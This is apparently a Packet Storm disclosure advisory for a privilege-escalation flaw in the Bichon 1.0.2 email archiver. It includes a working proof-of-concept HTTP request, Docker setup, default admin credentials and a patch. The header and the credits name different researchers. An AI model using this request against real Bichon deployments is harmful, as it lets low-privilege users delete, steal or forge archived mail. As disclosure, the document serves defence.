PACKETSTORM

📄 Bichon 1.0.2 Privilege Escalation_PACKETSTORM:221273

Description

Bichon version 1.0.2 suffers from a vertical privilege escalation vulnerability via the account role assignment functionality...
Visit Original Source

Basic Information

ID PACKETSTORM:221273
Published May 18, 2026 at 00:00

Affected Product

Affected Versions Bichon 1.0.2 Vertical Privilege Escalation via Account Role Assignment
======================================================================

Vendor: rustmailer
Product: Bichon - self-hosted email archiving server (Rust + TypeScript)
Project URL: https://github.com/rustmailer/bichon
Affected: All versions through HEAD as of 2026-05-18
Commit: 9daab241b0220e81e43d4b98616d77fa45ad58c7
Release: 1.0.2 (Docker: rustmailer/bichon:1.0.2,
sha256 6a8232f1db4df939cfe28c54661699638d859f5923ff1965aacdabed226c67f0)
Patched: Pending vendor fix
Severity: High
CVSS 3.1: 7.6 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L)
CWE: CWE-269 (Improper Privilege Management)
CWE-863 (Incorrect Authorization)
CVE: Pending (requested via GitHub CNA)
Discovered: 2026-05-18 (manual source review)
Researcher: AoxLir <[email protected]>
Disclosure: Coordinated (Project Zero 90-day standard)


I. Background
=============

Bichon is a self-hosted email archiving server written in Rust with a
SvelteKit frontend. It integrates IMAP fetching, OAuth2 mail providers,
SOCKS5 proxy support, and a REST API protected by an RBAC subsystem of
22 granular permissions across 5 built-in roles and an unlimited number
of admin-defined custom roles.

The vendor README (line 101) states:

"Account-Level Isolation: Grant users access to specific accounts
with scoped roles. Permissions enforced at the API layer."

The vulnerability documented here directly contradicts that claim.


II. Vulnerability Detail
========================

The endpoint POST /api/v1/accounts/access/assignments calls
BatchAccountRoleRequest::do_assign() (crates/core/src/account/grant.rs
lines 115-154):

pub fn do_assign(self, context: &ClientContext) -> BichonResult<()> {
for account_id in &self.account_ids {
let assigned_role_id = context.user
.account_access_map.get(account_id)...?;
let user_scoped_role = UserRole::find(*assigned_role_id)?...?;

// Critical Check: Does this role grant management/sharing rights?
if !user_scoped_role.permissions
.contains(Permission::ACCOUNT_MANAGE) {
return Err(...);
}

// Optional: Ensure manager isn't giving away perms they don't have
// ^^^ NOT IMPLEMENTED -- the missing check.
}

Self::grant_batch_account_access(
self.account_ids, self.user_ids, self.role_id
)
}

The check verifies the caller holds Permission::ACCOUNT_MANAGE on every
target account but does NOT compare the granted role's permissions
against the caller's own. Any user holding ACCOUNT_MANAGE on an account
- a permission an administrator might include in a narrowly scoped
custom role intended only for sharing/auditing - can therefore grant
themselves OR any other user the built-in AccountManager role (or any
arbitrary custom role) on that account, gaining permissions such as:

data:delete - irreversible mail deletion
data:raw:download - exfiltration of raw EML/MIME files
data:export:batch - bulk export
data:import:batch - injection of forged messages into the archive
data:smtp:ingest - abuse of the SMTP ingest pipeline
data:manage - metadata tampering

The REST handler (crates/server/src/rest/api/account.rs lines 303-312)
adds no additional authorization beyond calling do_assign().


III. Proof of Concept
=====================

Tested live against the official Docker image rustmailer/bichon:1.0.2.

Setup
-----

$ docker run -d --name bichon-poc -p 15630:15630 \
-v /tmp/bichon-poc/data:/data --user 1000:1000 \
-e BICHON_ROOT_DIR=/data \
-e BICHON_ENCRYPT_PASSWORD=poc-pw \
rustmailer/bichon:latest

Default credentials: admin / admin@bichon

Step 1: Admin creates a custom Account role with restricted permissions
but containing ACCOUNT_MANAGE:

POST /api/v1/roles
Authorization: Bearer <admin_token>
Content-Type: application/json

{"name":"RestrictedAuditor",
"role_type":"Account",
"permissions":["account:manage","account:read_details","data:read"]}

Step 2: Admin creates a low-privilege user 'alice', grants her the
RestrictedAuditor role on an account.

Step 3: Alice logs in and issues the exploit:

POST /api/v1/accounts/access/assignments
Authorization: Bearer <alice_token>
Content-Type: application/json

{"account_ids": [<account_id>],
"user_ids": [<alice_id>],
"role_id": 200100000000000}

Response: HTTP/1.1 200 OK

(200100000000000 is the built-in AccountManager role ID, returned by
GET /api/v1/list-roles.)

Verification
------------

Alice's permissions BEFORE the call:
account:manage, account:read_details, data:read (3 perms)

Alice's permissions AFTER the call:
account:manage, account:read_details, data:read,
data:delete, data:export:batch, data:import:batch,
data:manage, data:raw:download, data:smtp:ingest (9 perms)

Six new permissions gained, including the high-impact data:delete
(irreversible mail deletion) and data:raw:download (raw EML export).
Total elapsed: a single HTTP POST, no errors.


IV. Extended Tests
==================

* Cross-user promotion: alice (RestrictedAuditor on account A) promoted
a different user 'bob' (zero account access) to AccountManager on A
-- HTTP 200. Confirms lateral movement is possible, not just
self-promotion.

* Multi-account boundary: alice attempted to escalate on accounts A
(had access) AND B (no access) in a single request -- HTTP 403
"No access to account B". The account-boundary check works
correctly; only the per-account permission-bound check is missing.

* Arbitrary custom role: alice granted herself an admin-created
custom role with 9 high-impact permissions (effectively a renamed
AccountManager) -- HTTP 200. Refutes any rebuttal that promotion
is bounded by the built-in AccountManager role.


V. Impact
=========

Authenticated user with the narrowest custom role that contains
ACCOUNT_MANAGE can:

- Delete all archived messages for the affected account (regulatory
/ forensic impact -- archives are typically subject to legal hold).
- Exfiltrate raw EML/MIME (PII, business confidential).
- Inject forged messages into the archive (integrity / chain-of-
custody compromise).
- Promote arbitrary other users to AccountManager (lateral movement
in multi-tenant deployments).


VI. Solution
============

Add a permission-subset check inside do_assign(), after the existing
ACCOUNT_MANAGE check:

let target_role = UserRole::find(self.role_id)?
.ok_or_else(|| raise_error!("Target role not found".into(),
ErrorCode::ResourceNotFound))?;

let extra: HashSet<_> = target_role.permissions
.difference(&user_scoped_role.permissions)
.collect();

if !extra.is_empty() {
return Err(raise_error!(
format!("Cannot grant permissions you do not hold: {:?}",
extra),
ErrorCode::Forbidden));
}

For defense in depth, also require Permission::ACCOUNT_MANAGE_ALL at
the REST handler layer (crates/server/src/rest/api/account.rs:303), so
that org-wide account sharing requires an administrator.



VII. Credit
============

Discovered and reported by MrOruc, independent security researcher.
GitHub: https://github.com/MrOruc
Email: [email protected]

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.